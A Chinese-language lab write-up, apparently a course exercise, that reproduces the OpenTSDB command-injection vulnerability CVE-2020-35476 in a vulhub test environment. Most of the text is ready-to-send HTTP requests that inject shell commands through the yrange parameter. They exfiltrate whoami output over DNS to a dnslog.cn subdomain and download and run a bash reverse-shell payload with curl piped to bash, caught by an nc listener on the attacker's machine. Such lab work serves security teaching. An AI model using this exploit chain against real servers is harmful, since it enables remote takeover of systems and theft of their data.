实验要求

漏洞环境:OpenTSDB 命令注入漏洞(CVE-2020-35476)

  1. 复现环境中的命令注入漏洞,截图证明
  2. 尝试利用命令注入执行whomi命令,使用DNS外带技术获取结果
  3. 利用反弹Shell方法,将漏洞环境的Shell反弹到宿主机或VPS服务器

靶场环境

进入vulhub/opentsdb/CVE-2020-35476目录下执行docker-compose up -d启动靶场,访问4242端口

漏洞复现

利用这个漏洞需要知道一个metric的名字,我们可以通过http://your-ip:4242/api/suggest?type=metrics&q=&max=10查看metric列表:

这里metrics为空

当前OpenTSDB开启了自动创建metric功能(tsd.core.auto_create_metrics = true),所以我们可以使用如下API创建一个名为sys.cpu.nice的metric并添加一条记录:

POST /api/put/ HTTP/1.1
Host: 192.168.52.130:4242
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Content-Length: 150
Origin: moz-extension://755c6778-2f71-4ebe-a7dc-0a4dd04aa48f
Connection: close

{
"metric": "sys.cpu.nice",
"timestamp": 1346846400,
"value": 20,
"tags": {
"host": "web01",
"dc": "lga"
}
}

回显

发送如下数据包,其中参数m的值必须包含一个有数据的metric(也就是上一步所添加的):

GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/success%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: 192.168.52.130:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

回显

进入容器中可见touch /tmp/success已成功执行:

DNS外带获取命令执行结果

首先去http://www.dnslog.cn/下点击Get SubDomain获取子域名

浏览器输入test.<所得子域名>,例如我这里是test.d8maxx.dnslog.cn

点击Refresh Record刷新,看到记录即可

通过上面的漏洞复现,将payload改成system(curl http://$(whoami).d8maxx.dnslog.cn)

url编码得system(%22curl%20http:%2f%2f$(whoami).d8maxx.dnslog.cn%22),burpsuite构造请求如下

GET /q?start=2000%2f10%2f21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B0:system(%22curl%20http:%2f%2f$(whoami).d8maxx.dnslog.cn%22)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: 192.168.52.130:4242
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0
Referer: www.google.com

发送得到回显

刷新dnslog记录,成功获得whoami回显

反弹Shell

参考链接:

https://www.freebuf.com/articles/network/334613.html

  • 在攻击主机上建立HTTP服务,同时将 payload 写进文件
# 新建payload
cd /tmp
echo 'bash -c "bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1"' > index.html
# 开启Web服务
python3 -m http.server 80
  • 在攻击机上开启nc监听,跟前文提及的一样

  • 在目标主机触发payload

curl http://Your_IP|bash

适用场景是绕过某些安全校验,如某个站点存在 rce,但是此时对用户的输入存在校验,导致无法直接使用payload,这里用 Curl 先将payload下载下来,再通过管道符号传递给 Bash 程序。


我的攻击主机是window,所以开启攻击机的web服务,在/www文件夹下创建payload.html,写入下面内容并保存

bash -c "bash -i >& /dev/tcp/192.168.137.1/6666 0>&1"

nc打开攻击主机监听端口nc -lvp 6666

然后构造payload

"curl 192.168.137.1:8888/payload.html|bash"

url编码得payload

%22curl%20192.168.137.1:8888%2fpayload.html%7Cbash%22

将上面payload放进system函数的括号里,发送包

GET /q?start=2000%2f10%2f21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B0:system(%22curl%20192.168.137.1:8888%2fpayload.html%7Cbash%22)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: 192.168.52.130:4242
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0
Referer: www.google.com

再打开刚刚的cmd窗口,可以看到成功反弹Shell,输入ls查看文件列表